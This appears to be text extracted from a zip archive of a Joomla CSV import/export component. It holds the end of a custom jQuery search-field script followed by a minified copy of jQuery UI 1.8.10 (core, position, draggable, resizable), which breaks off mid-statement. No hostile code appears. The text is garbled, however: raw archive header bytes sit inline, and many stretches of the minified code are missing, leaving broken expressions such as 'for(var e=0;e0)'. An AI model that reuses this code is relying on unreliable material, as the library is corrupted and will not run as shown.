jQuery('#operation').empty(); jAlert(statusText+'\r\n'+data.responseText); } }); } } // Set the live events var _timeout = null; var notallowedkeys = [9, 10, 16, 17, 18, 20, 27, 37, 38, 39, 40, 92, 93]; jQuery("#searchuser, #searchproduct, #searchitemproduct").live('keyup', function(e) { if (jQuery.inArray(e.keyCode, notallowedkeys) >= 0) { return; } else { if(_timeout != null) { clearTimeout(_timeout); _timeout = null; } var callfunc = jQuery(this)[0].id; switch (callfunc) { case 'searchuser': _timeout = setTimeout('Csvi.searchUser()', 1000); break; case 'searchproduct': _timeout = setTimeout('Csvi.searchProduct()', 1000); break; case 'searchitemproduct': _timeout = setTimeout('Csvi.searchItemProduct()', 1000); break; } } })PKs>\:fٔ$$com_csvi/assets/js/jquery-ui.jsnuW+A/*! * jQuery UI 1.8.10 * * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI */ (function(c,j){function k(a){return!c(a).parents().andSelf().filter(function(){return c.curCSS(this,"visibility")==="hidden"||c.expr.filters.hidden(this)}).length}c.ui=c.ui||{};if(!c.ui.version){c.extend(c.ui,{version:"1.8.10",keyCode:{ALT:18,BACKSPACE:8,CAPS_LOCK:20,COMMA:188,COMMAND:91,COMMAND_LEFT:91,COMMAND_RIGHT:93,CONTROL:17,DELETE:46,DOWN:40,END:35,ENTER:13,ESCAPE:27,HOME:36,INSERT:45,LEFT:37,MENU:93,NUMPAD_ADD:107,NUMPAD_DECIMAL:110,NUMPAD_DIVIDE:111,NUMPAD_ENTER:108,NUMPAD_MULTIPLY:106, NUMPAD_SUBTRACT:109,PAGE_DOWN:34,PAGE_UP:33,PERIOD:190,RIGHT:39,SHIFT:16,SPACE:32,TAB:9,UP:38,WINDOWS:91}});c.fn.extend({_focus:c.fn.focus,focus:function(a,b){return typeof a==="number"?this.each(function(){var d=this;setTimeout(function(){c(d).focus();b&&b.call(d)},a)}):this._focus.apply(this,arguments)},scrollParent:function(){var a;a=c.browser.msie&&/(static|relative)/.test(this.css("position"))||/absolute/.test(this.css("position"))?this.parents().filter(function(){return/(relative|absolute|fixed)/.test(c.curCSS(this, "position",1))&&/(auto|scroll)/.test(c.curCSS(this,"overflow",1)+c.curCSS(this,"overflow-y",1)+c.curCSS(this,"overflow-x",1))}).eq(0):this.parents().filter(function(){return/(auto|scroll)/.test(c.curCSS(this,"overflow",1)+c.curCSS(this,"overflow-y",1)+c.curCSS(this,"overflow-x",1))}).eq(0);return/fixed/.test(this.css("position"))||!a.length?c(document):a},zIndex:function(a){if(a!==j)return this.css("zIndex",a);if(this.length){a=c(this[0]);for(var b;a.length&&a[0]!==document;){b=a.css("position"); if(b==="absolute"||b==="relative"||b==="fixed"){b=parseInt(a.css("zIndex"),10);if(!isNaN(b)&&b!==0)return b}a=a.parent()}}return 0},disableSelection:function(){return this.bind((c.support.selectstart?"selectstart":"mousedown")+".ui-disableSelection",function(a){a.preventDefault()})},enableSelection:function(){return this.unbind(".ui-disableSelection")}});c.each(["Width","Height"],function(a,b){function d(f,g,l,m){c.each(e,function(){g-=parseFloat(c.curCSS(f,"padding"+this,true))||0;if(l)g-=parseFloat(c.curCSS(f, "border"+this+"Width",true))||0;if(m)g-=parseFloat(c.curCSS(f,"margin"+this,true))||0});return g}var e=b==="Width"?["Left","Right"]:["Top","Bottom"],h=b.toLowerCase(),i={innerWidth:c.fn.innerWidth,innerHeight:c.fn.innerHeight,outerWidth:c.fn.outerWidth,outerHeight:c.fn.outerHeight};c.fn["inner"+b]=function(f){if(f===j)return i["inner"+b].call(this);return this.each(function(){c(this).css(h,d(this,f)+"px")})};c.fn["outer"+b]=function(f,g){if(typeof f!=="number")return i["outer"+b].call(this,f);return this.each(function(){c(this).css(h, d(this,f,true,g)+"px")})}});c.extend(c.expr[":"],{data:function(a,b,d){return!!c.data(a,d[3])},focusable:function(a){var b=a.nodeName.toLowerCase(),d=c.attr(a,"tabindex");if("area"===b){b=a.parentNode;d=b.name;if(!a.href||!d||b.nodeName.toLowerCase()!=="map")return false;a=c("img[usemap=#"+d+"]")[0];return!!a&&k(a)}return(/input|select|textarea|button|object/.test(b)?!a.disabled:"a"==b?a.href||!isNaN(d):!isNaN(d))&&k(a)},tabbable:function(a){var b=c.attr(a,"tabindex");return(isNaN(b)||b>=0)&&c(a).is(":focusable")}}); c(function(){var a=document.body,b=a.appendChild(b=document.createElement("div"));c.extend(b.style,{minHeight:"100px",height:"auto",padding:0,borderWidth:0});c.support.minHeight=b.offsetHeight===100;c.support.selectstart="onselectstart"in b;a.removeChild(b).style.display="none"});c.extend(c.ui,{plugin:{add:function(a,b,d){a=c.ui[a].prototype;for(var e in d){a.plugins[e]=a.plugins[e]||[];a.plugins[e].push([b,d[e]])}},call:function(a,b,d){if((b=a.plugins[b])&&a.element[0].parentNode)for(var e=0;e0)return true;a[b]=1;d=a[b]>0;a[b]=0;return d},isOverAxis:function(a,b,d){return a>b&&a=9)&&!a.button)return this._mouseUp(a);if(this._mouseStarted){this._mouseDrag(a); return a.preventDefault()}if(this._mouseDistanceMet(a)&&this._mouseDelayMet(a))(this._mouseStarted=this._mouseStart(this._mouseDownEvent,a)!==false)?this._mouseDrag(a):this._mouseUp(a);return!this._mouseStarted},_mouseUp:function(a){c(document).unbind("mousemove."+this.widgetName,this._mouseMoveDelegate).unbind("mouseup."+this.widgetName,this._mouseUpDelegate);if(this._mouseStarted){this._mouseStarted=false;a.target==this._mouseDownEvent.target&&c.data(a.target,this.widgetName+".preventClickEvent", true);this._mouseStop(a)}return false},_mouseDistanceMet:function(a){return Math.max(Math.abs(this._mouseDownEvent.pageX-a.pageX),Math.abs(this._mouseDownEvent.pageY-a.pageY))>=this.options.distance},_mouseDelayMet:function(){return this.mouseDelayMet},_mouseStart:function(){},_mouseDrag:function(){},_mouseStop:function(){},_mouseCapture:function(){return true}})})(jQuery); ;/* * jQuery UI Position 1.8.10 * * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Position */ (function(c){c.ui=c.ui||{};var n=/left|center|right/,o=/top|center|bottom/,t=c.fn.position,u=c.fn.offset;c.fn.position=function(b){if(!b||!b.of)return t.apply(this,arguments);b=c.extend({},b);var a=c(b.of),d=a[0],g=(b.collision||"flip").split(" "),e=b.offset?b.offset.split(" "):[0,0],h,k,j;if(d.nodeType===9){h=a.width();k=a.height();j={top:0,left:0}}else if(d.setTimeout){h=a.width();k=a.height();j={top:a.scrollTop(),left:a.scrollLeft()}}else if(d.preventDefault){b.at="left top";h=k=0;j={top:b.of.pageY, left:b.of.pageX}}else{h=a.outerWidth();k=a.outerHeight();j=a.offset()}c.each(["my","at"],function(){var f=(b[this]||"").split(" ");if(f.length===1)f=n.test(f[0])?f.concat(["center"]):o.test(f[0])?["center"].concat(f):["center","center"];f[0]=n.test(f[0])?f[0]:"center";f[1]=o.test(f[1])?f[1]:"center";b[this]=f});if(g.length===1)g[1]=g[0];e[0]=parseInt(e[0],10)||0;if(e.length===1)e[1]=e[0];e[1]=parseInt(e[1],10)||0;if(b.at[0]==="right")j.left+=h;else if(b.at[0]==="center")j.left+=h/2;if(b.at[1]==="bottom")j.top+= k;else if(b.at[1]==="center")j.top+=k/2;j.left+=e[0];j.top+=e[1];return this.each(function(){var f=c(this),l=f.outerWidth(),m=f.outerHeight(),p=parseInt(c.curCSS(this,"marginLeft",true))||0,q=parseInt(c.curCSS(this,"marginTop",true))||0,v=l+p+(parseInt(c.curCSS(this,"marginRight",true))||0),w=m+q+(parseInt(c.curCSS(this,"marginBottom",true))||0),i=c.extend({},j),r;if(b.my[0]==="right")i.left-=l;else if(b.my[0]==="center")i.left-=l/2;if(b.my[1]==="bottom")i.top-=m;else if(b.my[1]==="center")i.top-= m/2;i.left=Math.round(i.left);i.top=Math.round(i.top);r={left:i.left-p,top:i.top-q};c.each(["left","top"],function(s,x){c.ui.position[g[s]]&&c.ui.position[g[s]][x](i,{targetWidth:h,targetHeight:k,elemWidth:l,elemHeight:m,collisionPosition:r,collisionWidth:v,collisionHeight:w,offset:e,my:b.my,at:b.at})});c.fn.bgiframe&&f.bgiframe();f.offset(c.extend(i,{using:b.using}))})};c.ui.position={fit:{left:function(b,a){var d=c(window);d=a.collisionPosition.left+a.collisionWidth-d.width()-d.scrollLeft();b.left= d>0?b.left-d:Math.max(b.left-a.collisionPosition.left,b.left)},top:function(b,a){var d=c(window);d=a.collisionPosition.top+a.collisionHeight-d.height()-d.scrollTop();b.top=d>0?b.top-d:Math.max(b.top-a.collisionPosition.top,b.top)}},flip:{left:function(b,a){if(a.at[0]!=="center"){var d=c(window);d=a.collisionPosition.left+a.collisionWidth-d.width()-d.scrollLeft();var g=a.my[0]==="left"?-a.elemWidth:a.my[0]==="right"?a.elemWidth:0,e=a.at[0]==="left"?a.targetWidth:-a.targetWidth,h=-2*a.offset[0];b.left+= a.collisionPosition.left<0?g+e+h:d>0?g+e+h:0}},top:function(b,a){if(a.at[1]!=="center"){var d=c(window);d=a.collisionPosition.top+a.collisionHeight-d.height()-d.scrollTop();var g=a.my[1]==="top"?-a.elemHeight:a.my[1]==="bottom"?a.elemHeight:0,e=a.at[1]==="top"?a.targetHeight:-a.targetHeight,h=-2*a.offset[1];b.top+=a.collisionPosition.top<0?g+e+h:d>0?g+e+h:0}}}};if(!c.offset.setOffset){c.offset.setOffset=function(b,a){if(/static/.test(c.curCSS(b,"position")))b.style.position="relative";var d=c(b), g=d.offset(),e=parseInt(c.curCSS(b,"top",true),10)||0,h=parseInt(c.curCSS(b,"left",true),10)||0;g={top:a.top-g.top+e,left:a.left-g.left+h};"using"in a?a.using.call(b,g):d.css(g)};c.fn.offset=function(b){var a=this[0];if(!a||!a.ownerDocument)return null;if(b)return this.each(function(){c.offset.setOffset(this,b)});return u.call(this)}}})(jQuery); ;/* * jQuery UI Draggable 1.8.10 * * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Draggables * * Depends: * jquery.ui.core.js * jquery.ui.mouse.js * jquery.ui.widget.js */ (function(d){d.widget("ui.draggable",d.ui.mouse,{widgetEventPrefix:"drag",options:{addClasses:true,appendTo:"parent",axis:false,connectToSortable:false,containment:false,cursor:"auto",cursorAt:false,grid:false,handle:false,helper:"original",iframeFix:false,opacity:false,refreshPositions:false,revert:false,revertDuration:500,scope:"default",scroll:true,scrollSensitivity:20,scrollSpeed:20,snap:false,snapMode:"both",snapTolerance:20,stack:false,zIndex:false},_create:function(){if(this.options.helper== "original"&&!/^(?:r|a|f)/.test(this.element.css("position")))this.element[0].style.position="relative";this.options.addClasses&&this.element.addClass("ui-draggable");this.options.disabled&&this.element.addClass("ui-draggable-disabled");this._mouseInit()},destroy:function(){if(this.element.data("draggable")){this.element.removeData("draggable").unbind(".draggable").removeClass("ui-draggable ui-draggable-dragging ui-draggable-disabled");this._mouseDestroy();return this}},_mouseCapture:function(a){var b= this.options;if(this.helper||b.disabled||d(a.target).is(".ui-resizable-handle"))return false;this.handle=this._getHandle(a);if(!this.handle)return false;return true},_mouseStart:function(a){var b=this.options;this.helper=this._createHelper(a);this._cacheHelperProportions();if(d.ui.ddmanager)d.ui.ddmanager.current=this;this._cacheMargins();this.cssPosition=this.helper.css("position");this.scrollParent=this.helper.scrollParent();this.offset=this.positionAbs=this.element.offset();this.offset={top:this.offset.top- this.margins.top,left:this.offset.left-this.margins.left};d.extend(this.offset,{click:{left:a.pageX-this.offset.left,top:a.pageY-this.offset.top},parent:this._getParentOffset(),relative:this._getRelativeOffset()});this.originalPosition=this.position=this._generatePosition(a);this.originalPageX=a.pageX;this.originalPageY=a.pageY;b.cursorAt&&this._adjustOffsetFromHelper(b.cursorAt);b.containment&&this._setContainment();if(this._trigger("start",a)===false){this._clear();return false}this._cacheHelperProportions(); d.ui.ddmanager&&!b.dropBehaviour&&d.ui.ddmanager.prepareOffsets(this,a);this.helper.addClass("ui-draggable-dragging");this._mouseDrag(a,true);return true},_mouseDrag:function(a,b){this.position=this._generatePosition(a);this.positionAbs=this._convertPositionTo("absolute");if(!b){b=this._uiHash();if(this._trigger("drag",a,b)===false){this._mouseUp({});return false}this.position=b.position}if(!this.options.axis||this.options.axis!="y")this.helper[0].style.left=this.position.left+"px";if(!this.options.axis|| this.options.axis!="x")this.helper[0].style.top=this.position.top+"px";d.ui.ddmanager&&d.ui.ddmanager.drag(this,a);return false},_mouseStop:function(a){var b=false;if(d.ui.ddmanager&&!this.options.dropBehaviour)b=d.ui.ddmanager.drop(this,a);if(this.dropped){b=this.dropped;this.dropped=false}if((!this.element[0]||!this.element[0].parentNode)&&this.options.helper=="original")return false;if(this.options.revert=="invalid"&&!b||this.options.revert=="valid"&&b||this.options.revert===true||d.isFunction(this.options.revert)&& this.options.revert.call(this.element,b)){var c=this;d(this.helper).animate(this.originalPosition,parseInt(this.options.revertDuration,10),function(){c._trigger("stop",a)!==false&&c._clear()})}else this._trigger("stop",a)!==false&&this._clear();return false},cancel:function(){this.helper.is(".ui-draggable-dragging")?this._mouseUp({}):this._clear();return this},_getHandle:function(a){var b=!this.options.handle||!d(this.options.handle,this.element).length?true:false;d(this.options.handle,this.element).find("*").andSelf().each(function(){if(this== a.target)b=true});return b},_createHelper:function(a){var b=this.options;a=d.isFunction(b.helper)?d(b.helper.apply(this.element[0],[a])):b.helper=="clone"?this.element.clone():this.element;a.parents("body").length||a.appendTo(b.appendTo=="parent"?this.element[0].parentNode:b.appendTo);a[0]!=this.element[0]&&!/(fixed|absolute)/.test(a.css("position"))&&a.css("position","absolute");return a},_adjustOffsetFromHelper:function(a){if(typeof a=="string")a=a.split(" ");if(d.isArray(a))a={left:+a[0],top:+a[1]|| 0};if("left"in a)this.offset.click.left=a.left+this.margins.left;if("right"in a)this.offset.click.left=this.helperProportions.width-a.right+this.margins.left;if("top"in a)this.offset.click.top=a.top+this.margins.top;if("bottom"in a)this.offset.click.top=this.helperProportions.height-a.bottom+this.margins.top},_getParentOffset:function(){this.offsetParent=this.helper.offsetParent();var a=this.offsetParent.offset();if(this.cssPosition=="absolute"&&this.scrollParent[0]!=document&&d.ui.contains(this.scrollParent[0], this.offsetParent[0])){a.left+=this.scrollParent.scrollLeft();a.top+=this.scrollParent.scrollTop()}if(this.offsetParent[0]==document.body||this.offsetParent[0].tagName&&this.offsetParent[0].tagName.toLowerCase()=="html"&&d.browser.msie)a={top:0,left:0};return{top:a.top+(parseInt(this.offsetParent.css("borderTopWidth"),10)||0),left:a.left+(parseInt(this.offsetParent.css("borderLeftWidth"),10)||0)}},_getRelativeOffset:function(){if(this.cssPosition=="relative"){var a=this.element.position();return{top:a.top- (parseInt(this.helper.css("top"),10)||0)+this.scrollParent.scrollTop(),left:a.left-(parseInt(this.helper.css("left"),10)||0)+this.scrollParent.scrollLeft()}}else return{top:0,left:0}},_cacheMargins:function(){this.margins={left:parseInt(this.element.css("marginLeft"),10)||0,top:parseInt(this.element.css("marginTop"),10)||0}},_cacheHelperProportions:function(){this.helperProportions={width:this.helper.outerWidth(),height:this.helper.outerHeight()}},_setContainment:function(){var a=this.options;if(a.containment== "parent")a.containment=this.helper[0].parentNode;if(a.containment=="document"||a.containment=="window")this.containment=[(a.containment=="document"?0:d(window).scrollLeft())-this.offset.relative.left-this.offset.parent.left,(a.containment=="document"?0:d(window).scrollTop())-this.offset.relative.top-this.offset.parent.top,(a.containment=="document"?0:d(window).scrollLeft())+d(a.containment=="document"?document:window).width()-this.helperProportions.width-this.margins.left,(a.containment=="document"? 0:d(window).scrollTop())+(d(a.containment=="document"?document:window).height()||document.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top];if(!/^(document|window|parent)$/.test(a.containment)&&a.containment.constructor!=Array){var b=d(a.containment)[0];if(b){a=d(a.containment).offset();var c=d(b).css("overflow")!="hidden";this.containment=[a.left+(parseInt(d(b).css("borderLeftWidth"),10)||0)+(parseInt(d(b).css("paddingLeft"),10)||0)-this.margins.left,a.top+(parseInt(d(b).css("borderTopWidth"), 10)||0)+(parseInt(d(b).css("paddingTop"),10)||0)-this.margins.top,a.left+(c?Math.max(b.scrollWidth,b.offsetWidth):b.offsetWidth)-(parseInt(d(b).css("borderLeftWidth"),10)||0)-(parseInt(d(b).css("paddingRight"),10)||0)-this.helperProportions.width-this.margins.left,a.top+(c?Math.max(b.scrollHeight,b.offsetHeight):b.offsetHeight)-(parseInt(d(b).css("borderTopWidth"),10)||0)-(parseInt(d(b).css("paddingBottom"),10)||0)-this.helperProportions.height-this.margins.top]}}else if(a.containment.constructor== Array)this.containment=a.containment},_convertPositionTo:function(a,b){if(!b)b=this.position;a=a=="absolute"?1:-1;var c=this.cssPosition=="absolute"&&!(this.scrollParent[0]!=document&&d.ui.contains(this.scrollParent[0],this.offsetParent[0]))?this.offsetParent:this.scrollParent,f=/(html|body)/i.test(c[0].tagName);return{top:b.top+this.offset.relative.top*a+this.offset.parent.top*a-(d.browser.safari&&d.browser.version<526&&this.cssPosition=="fixed"?0:(this.cssPosition=="fixed"?-this.scrollParent.scrollTop(): f?0:c.scrollTop())*a),left:b.left+this.offset.relative.left*a+this.offset.parent.left*a-(d.browser.safari&&d.browser.version<526&&this.cssPosition=="fixed"?0:(this.cssPosition=="fixed"?-this.scrollParent.scrollLeft():f?0:c.scrollLeft())*a)}},_generatePosition:function(a){var b=this.options,c=this.cssPosition=="absolute"&&!(this.scrollParent[0]!=document&&d.ui.contains(this.scrollParent[0],this.offsetParent[0]))?this.offsetParent:this.scrollParent,f=/(html|body)/i.test(c[0].tagName),e=a.pageX,g=a.pageY; if(this.originalPosition){if(this.containment){if(a.pageX-this.offset.click.leftthis.containment[2])e=this.containment[2]+this.offset.click.left;if(a.pageY-this.offset.click.top>this.containment[3])g=this.containment[3]+this.offset.click.top}if(b.grid){g=this.originalPageY+Math.round((g-this.originalPageY)/ b.grid[1])*b.grid[1];g=this.containment?!(g-this.offset.click.topthis.containment[3])?g:!(g-this.offset.click.topthis.containment[2])?e:!(e-this.offset.click.left').css({width:this.offsetWidth+"px",height:this.offsetHeight+"px",position:"absolute",opacity:"0.001",zIndex:1E3}).css(d(this).offset()).appendTo("body")})}, stop:function(){d("div.ui-draggable-iframeFix").each(function(){this.parentNode.removeChild(this)})}});d.ui.plugin.add("draggable","opacity",{start:function(a,b){a=d(b.helper);b=d(this).data("draggable").options;if(a.css("opacity"))b._opacity=a.css("opacity");a.css("opacity",b.opacity)},stop:function(a,b){a=d(this).data("draggable").options;a._opacity&&d(b.helper).css("opacity",a._opacity)}});d.ui.plugin.add("draggable","scroll",{start:function(){var a=d(this).data("draggable");if(a.scrollParent[0]!= document&&a.scrollParent[0].tagName!="HTML")a.overflowOffset=a.scrollParent.offset()},drag:function(a){var b=d(this).data("draggable"),c=b.options,f=false;if(b.scrollParent[0]!=document&&b.scrollParent[0].tagName!="HTML"){if(!c.axis||c.axis!="x")if(b.overflowOffset.top+b.scrollParent[0].offsetHeight-a.pageY=0;h--){var i=c.snapElements[h].left,k=i+c.snapElements[h].width,j=c.snapElements[h].top,l=j+c.snapElements[h].height;if(i-e').css({position:this.element.css("position"),width:this.element.outerWidth(),height:this.element.outerHeight(), top:this.element.css("top"),left:this.element.css("left")}));this.element=this.element.parent().data("resizable",this.element.data("resizable"));this.elementIsWrapper=true;this.element.css({marginLeft:this.originalElement.css("marginLeft"),marginTop:this.originalElement.css("marginTop"),marginRight:this.originalElement.css("marginRight"),marginBottom:this.originalElement.css("marginBottom")});this.originalElement.css({marginLeft:0,marginTop:0,marginRight:0,marginBottom:0});this.originalResizeStyle= this.originalElement.css("resize");this.originalElement.css("resize","none");this._proportionallyResizeElements.push(this.originalElement.css({position:"static",zoom:1,display:"block"}));this.originalElement.css({margin:this.originalElement.css("margin")});this._proportionallyResize()}this.handles=a.handles||(!e(".ui-resizable-handle",this.element).length?"e,s,se":{n:".ui-resizable-n",e:".ui-resizable-e",s:".ui-resizable-s",w:".ui-resizable-w",se:".ui-resizable-se",sw:".ui-resizable-sw",ne:".ui-resizable-ne", nw:".ui-resizable-nw"});if(this.handles.constructor==String){if(this.handles=="all")this.handles="n,e,s,w,se,sw,ne,nw";var c=this.handles.split(",");this.handles={};for(var d=0;d');/sw|se|ne|nw/.test(f)&&g.css({zIndex:++a.zIndex});"se"==f&&g.addClass("ui-icon ui-icon-gripsmall-diagonal-se");this.handles[f]=".ui-resizable-"+f;this.element.append(g)}}this._renderAxis=function(h){h=h||this.element;for(var i in this.handles){if(this.handles[i].constructor== String)this.handles[i]=e(this.handles[i],this.element).show();if(this.elementIsWrapper&&this.originalElement[0].nodeName.match(/textarea|input|select|button/i)){var j=e(this.handles[i],this.element),k=0;k=/sw|ne|nw|se|n|s/.test(i)?j.outerHeight():j.outerWidth();j=["padding",/ne|nw|n/.test(i)?"Top":/se|sw|s/.test(i)?"Bottom":/^e$/.test(i)?"Right":"Left"].join("");h.css(j,k);this._proportionallyResize()}e(this.handles[i])}};this._renderAxis(this.element);this._handles=e(".ui-resizable-handle",this.element).disableSelection(); this._handles.mouseover(function(){if(!b.resizing){if(this.className)var h=this.className.match(/ui-resizable-(se|sw|ne|nw|n|e|s|w)/i);b.axis=h&&h[1]?h[1]:"se"}});if(a.autoHide){this._handles.hide();e(this.element).addClass("ui-resizable-autohide").hover(function(){e(this).removeClass("ui-resizable-autohide");b._handles.show()},function(){if(!b.resizing){e(this).addClass("ui-resizable-autohide");b._handles.hide()}})}this._mouseInit()},destroy:function(){this._mouseDestroy();var b=function(c){e(c).removeClass("ui-resizable ui-resizable-disabled ui-resizable-resizing").removeData("resizable").unbind(".resizable").find(".ui-resizable-handle").remove()}; if(this.elementIsWrapper){b(this.element);var a=this.element;a.after(this.originalElement.css({position:a.css("position"),width:a.outerWidth(),height:a.outerHeight(),top:a.css("top"),left:a.css("left")})).remove()}this.originalElement.css("resize",this.originalResizeStyle);b(this.originalElement);return this},_mouseCapture:function(b){var a=false;for(var c in this.handles)if(e(this.handles[c])[0]==b.target)a=true;return!this.options.disabled&&a},_mouseStart:function(b){var a=this.options,c=this.element.position(), d=this.element;this.resizing=true;this.documentScroll={top:e(document).scrollTop(),left:e(document).scrollLeft()};if(d.is(".ui-draggable")||/absolute/.test(d.css("position")))d.css({position:"absolute",top:c.top,left:c.left});e.browser.opera&&/relative/.test(d.css("position"))&&d.css({position:"relative",top:"auto",left:"auto"});this._renderProxy();c=m(this.helper.css("left"));var f=m(this.helper.css("top"));if(a.containment){c+=e(a.containment).scrollLeft()||0;f+=e(a.containment).scrollTop()||0}this.offset= this.helper.offset();this.position={left:c,top:f};this.size=this._helper?{width:d.outerWidth(),height:d.outerHeight()}:{width:d.width(),height:d.height()};this.originalSize=this._helper?{width:d.outerWidth(),height:d.outerHeight()}:{width:d.width(),height:d.height()};this.originalPosition={left:c,top:f};this.sizeDiff={width:d.outerWidth()-d.width(),height:d.outerHeight()-d.height()};this.originalMousePosition={left:b.pageX,top:b.pageY};this.aspectRatio=typeof a.aspectRatio=="number"?a.aspectRatio: this.originalSize.width/this.originalSize.height||1;a=e(".ui-resizable-"+this.axis).css("cursor");e("body").css("cursor",a=="auto"?this.axis+"-resize":a);d.addClass("ui-resizable-resizing");this._propagate("start",b);return true},_mouseDrag:function(b){var a=this.helper,c=this.originalMousePosition,d=this._change[this.axis];if(!d)return false;c=d.apply(this,[b,b.pageX-c.left||0,b.pageY-c.top||0]);if(this._aspectRatio||b.shiftKey)c=this._updateRatio(c,b);c=this._respectSize(c,b);this._propagate("resize", b);a.css({top:this.position.top+"px",left:this.position.left+"px",width:this.size.width+"px",height:this.size.height+"px"});!this._helper&&this._proportionallyResizeElements.length&&this._proportionallyResize();this._updateCache(c);this._trigger("resize",b,this.ui());return false},_mouseStop:function(b){this.resizing=false;var a=this.options,c=this;if(this._helper){var d=this._proportionallyResizeElements,f=d.length&&/textarea/i.test(d[0].nodeName);d=f&&e.ui.hasScroll(d[0],"left")?0:c.sizeDiff.height; f=f?0:c.sizeDiff.width;f={width:c.helper.width()-f,height:c.helper.height()-d};d=parseInt(c.element.css("left"),10)+(c.position.left-c.originalPosition.left)||null;var g=parseInt(c.element.css("top"),10)+(c.position.top-c.originalPosition.top)||null;a.animate||this.element.css(e.extend(f,{top:g,left:d}));c.helper.height(c.size.height);c.helper.width(c.size.width);this._helper&&!a.animate&&this._proportionallyResize()}e("body").css("cursor","auto");this.element.removeClass("ui-resizable-resizing"); this._propagate("stop",b);this._helper&&this.helper.remove();return false},_updateCache:function(b){this.offset=this.helper.offset();if(l(b.left))this.position.left=b.left;if(l(b.top))this.position.top=b.top;if(l(b.height))this.size.height=b.height;if(l(b.width))this.size.width=b.width},_updateRatio:function(b){var a=this.position,c=this.size,d=this.axis;if(b.height)b.width=c.height*this.aspectRatio;else if(b.width)b.height=c.width/this.aspectRatio;if(d=="sw"){b.left=a.left+(c.width-b.width);b.top= null}if(d=="nw"){b.top=a.top+(c.height-b.height);b.left=a.left+(c.width-b.width)}return b},_respectSize:function(b){var a=this.options,c=this.axis,d=l(b.width)&&a.maxWidth&&a.maxWidthb.width,h=l(b.height)&&a.minHeight&&a.minHeight>b.height;if(g)b.width=a.minWidth;if(h)b.height=a.minHeight;if(d)b.width=a.maxWidth;if(f)b.height=a.maxHeight;var i=this.originalPosition.left+this.originalSize.width,j=this.position.top+ this.size.height,k=/sw|nw|w/.test(c);c=/nw|ne|n/.test(c);if(g&&k)b.left=i-a.minWidth;if(d&&k)b.left=i-a.maxWidth;if(h&&c)b.top=j-a.minHeight;if(f&&c)b.top=j-a.maxHeight;if((a=!b.width&&!b.height)&&!b.left&&b.top)b.top=null;else if(a&&!b.top&&b.left)b.left=null;return b},_proportionallyResize:function(){if(this._proportionallyResizeElements.length)for(var b=this.helper||this.element,a=0;a');var a=e.browser.msie&&e.browser.version<7,c=a?1:0;a=a?2:-1;this.helper.addClass(this._helper).css({width:this.element.outerWidth()+a,height:this.element.outerHeight()+a,position:"absolute",left:this.elementOffset.left-c+"px",top:this.elementOffset.top-c+"px",zIndex:++b.zIndex});this.helper.appendTo("body").disableSelection()}else this.helper=this.element},_change:{e:function(b, a){return{width:this.originalSize.width+a}},w:function(b,a){return{left:this.originalPosition.left+a,width:this.originalSize.width-a}},n:function(b,a,c){return{top:this.originalPosition.top+c,height:this.originalSize.height-c}},s:function(b,a,c){return{height:this.originalSize.height+c}},se:function(b,a,c){return e.extend(this._change.s.apply(this,arguments),this._change.e.apply(this,[b,a,c]))},sw:function(b,a,c){return e.extend(this._change.s.apply(this,arguments),this._change.w.apply(this,[b,a, c]))},ne:function(b,a,c){return e.extend(this._change.n.apply(this,arguments),this._change.e.apply(this,[b,a,c]))},nw:function(b,a,c){return e.extend(this._change.n.apply(this,arguments),this._change.w.apply(this,[b,a,c]))}},_propagate:function(b,a){e.ui.plugin.call(this,b,[a,this.ui()]);b!="resize"&&this._trigger(b,a,this.ui())},plugins:{},ui:function(){return{originalElement:this.originalElement,element:this.element,helper:this.helper,position:this.position,size:this.size,originalSize:this.originalSize, originalPosition:this.originalPosition}}});e.extend(e.ui.resizable,{version:"1.8.10"});e.ui.plugin.add("resizable","alsoResize",{start:function(){var b=e(this).data("resizable").options,a=function(c){e(c).each(function(){var d=e(this);d.data("resizable-alsoresize",{width:parseInt(d.width(),10),height:parseInt(d.height(),10),left:parseInt(d.css("left"),10),top:parseInt(d.css("top"),10),position:d.css("position")})})};if(typeof b.alsoResize=="object"&&!b.alsoResize.parentNode)if(b.alsoResize.length){b.alsoResize= b.alsoResize[0];a(b.alsoResize)}else e.each(b.alsoResize,function(c){a(c)});else a(b.alsoResize)},resize:function(b,a){var c=e(this).data("resizable");b=c.options;var d=c.originalSize,f=c.originalPosition,g={height:c.size.height-d.height||0,width:c.size.width-d.width||0,top:c.position.top-f.top||0,left:c.position.left-f.left||0},h=function(i,j){e(i).each(function(){var k=e(this),q=e(this).data("resizable-alsoresize"),p={},r=j&&j.length?j:k.parents(a.originalElement[0]).length?["width","height"]:["width", "height","top","left"];e.each(r,function(n,o){if((n=(q[o]||0)+(g[o]||0))&&n>=0)p[o]=n||null});if(e.browser.opera&&/relative/.test(k.css("position"))){c._revertToRelativePosition=true;k.css({position:"absolute",top:"auto",left:"auto"})}k.css(p)})};typeof b.alsoResize=="object"&&!b.alsoResize.nodeType?e.each(b.alsoResize,function(i,j){h(i,j)}):h(b.alsoResize)},stop:function(){var b=e(this).data("resizable"),a=b.options,c=function(d){e(d).each(function(){var f=e(this);f.css({position:f.data("resizable-alsoresize").position})})}; if(b._revertToRelativePosition){b._revertToRelativePosition=false;typeof a.alsoResize=="object"&&!a.alsoResize.nodeType?e.each(a.alsoResize,function(d){c(d)}):c(a.alsoResize)}e(this).removeData("resizable-alsoresize")}});e.ui.plugin.add("resizable","animate",{stop:function(b){var a=e(this).data("resizable"),c=a.options,d=a._proportionallyResizeElements,f=d.length&&/textarea/i.test(d[0].nodeName),g=f&&e.ui.hasScroll(d[0],"left")?0:a.sizeDiff.height;f={width:a.size.width-(f?0:a.sizeDiff.width),height:a.size.height- g};g=parseInt(a.element.css("left"),10)+(a.position.left-a.originalPosition.left)||null;var h=parseInt(a.element.css("top"),10)+(a.position.top-a.originalPosition.top)||null;a.element.animate(e.extend(f,h&&g?{top:h,left:g}:{}),{duration:c.animateDuration,easing:c.animateEasing,step:function(){var i={width:parseInt(a.element.css("width"),10),height:parseInt(a.element.css("height"),10),top:parseInt(a.element.css("top"),10),left:parseInt(a.element.css("left"),10)};d&&d.length&&e(d[0]).css({width:i.width, 